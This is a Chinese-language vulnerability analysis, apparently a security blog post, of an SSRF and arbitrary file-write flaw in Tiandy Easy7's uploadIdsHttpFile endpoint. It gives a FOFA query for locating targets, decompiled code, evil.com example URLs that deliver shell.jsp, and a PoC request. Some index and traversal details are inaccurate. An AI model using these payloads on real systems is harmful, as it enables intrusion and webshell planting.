漏洞简介
天地伟业Easy7是一款用于视频监控管理的软件系统。
该系统的/Easy7/rest/file/uploadIdsHttpFile 接口接收用户提供的 URL 并直接发起 HTTP 请求,未对目标地址进行任何合法性校验(如白名单、协议限制等),导致 SSRF 漏洞。同时,程序在处理下载文件的后缀名时,直接从用户可控的 URL 字符串中截取末尾内容,且未过滤路径穿越字符(../)和危险后缀(如 .jsp),导致攻击者可以向服务器上传任意脚本文件或利用路径穿越覆盖系统文件。
影响版本
fofa语法
body="/Easy7/apps/WebService/LogIn.jsp" || body="Easy7/VideoLib.EXE" || body="/Easy7/index.html" || (body="<img src=\"./images/ico/Easy7_logo_transparent.png") && title="平台"
漏洞分析
首先,该系统基于Spring 3.0,比较古老且WEB-INF/web.xml里没有配置任何filter进行权限校验,因此绝大部分接口都是可以直接访问的。
再来看本次的漏洞接口 /rest/file/uploadIdsHttpFile 的实现逻辑
@Controller
@RequestMapping({"/file"})
public class CLS_REST_File {
@Resource(
name = "boSystemInfo"
)
private CLS_BO_SystemInfo boSystemInfo;
@Resource(
name = "boFile"
)
private CLS_BO_File boFile;
@Resource(
name = "boPROXY"
)
private CLS_BO_PROXY boPROXY;
private static final Log log = LogFactory.getLog(CLS_REST_File.class);
@RequestMapping({"/uploadIdsHttpFile"})
public void uploadIdsHttpFile(HttpServletRequest request, HttpServletResponse response, CLS_VO_UploadIdsFile voFile, CLS_VO_Progress progress) throws IOException {
response.getWriter().print(JSONObject.fromObject(this.boFile.uploadIdsHttpFile(voFile, progress)));
}
跟进 com.tiandy.easy7.core.bo.CLS_BO_File#uploadIdsHttpFile 方法,看下它的实现逻辑
public CLS_VO_Result uploadIdsHttpFile(CLS_VO_UploadIdsFile voIn, CLS_VO_Progress progress) {
long fileSize = 0L;
progress.setTotalBytes(fileSize);
CLS_VO_Result result = new CLS_VO_Result();
String httpurl = voIn.getUrl();
try {
httpurl = httpurl.replace("\\", "/");
URL url = new URL(URLDecoder.decode(httpurl, "utf-8"));
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod("GET");
conn.setConnectTimeout(30000);
if (conn.getResponseCode() == 200) {
InputStream inputStream = conn.getInputStream();
String fileName = UUID.randomUUID().toString();
String suffix = ".jpg";
if (!httpurl.contains("?")) {
suffix = httpurl.substring(httpurl.lastIndexOf("."));
}
fileName = fileName + suffix;
progress.setTotalBytes((long)conn.getContentLength());
CLS_VO_UploadSmbFile_R smbFileR = this.uploadFile(inputStream, fileName, progress);
if (null == smbFileR) {
result.setRet(-304);
log.error("null == smbFileR");
} else {
result = this.saveSrsShareTempFile(smbFileR, voIn.isNeedCapture());
}
} else {
result.setRet(-7);
}
} catch (IOException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
return result;
}
- 用户通过
CLS_VO_UploadIdsFile voIn传入url参数。
- URL 解码与规范化:
httpurl = URLDecoder.decode(voIn.getUrl(), "utf-8")。解码操作可能被用于绕过简单的字符串过滤。 - 发起请求:
new URL(httpurl).openConnection()。此处未校验httpurl的 Host 是否为内网地址,也未限制协议(如file://、gopher://等,取决于底层实现)。 - 后缀名提取逻辑:
if (!httpurl.contains("?")) { suffix = httpurl.substring(httpurl.lastIndexOf(".")); }- 只要 URL 中不包含
?字符,程序就会进入 substring 逻辑提取后缀。攻击者只需构造不带查询参数的 URL 即可完全控制文件后缀。 - 如果 URL 为 http://evil.com/shell.jsp,lastIndexOf(".") 返回索引 18,substring(18) 返回 .jsp。
- 如果 URL 为
http://evil.com/a.jsp/../../tmp/shell.jsp,lastIndexOf(".")依然匹配第一个.jsp的点(注意:此处逻辑取决于 URL 中点的分布,若末尾无点则匹配前面的点)。如果 URL 为http://evil.com/test.jsp/../../shell,则suffix会变成.jsp/../../shell。
根据上述分析可知,由于对传入参数url确实校验导致的SSRF和任意文件写入漏洞。
漏洞复现
POST /Easy7/rest/file/uploadIdsHttpFile HTTP/1.1
Host: easy7.mrxn.net
Content-Type: application/x-www-form-urlencoded
url={{url({{url(http://x.x.x.x/xxx.jsp)}})}}

成功触发SSRF请求


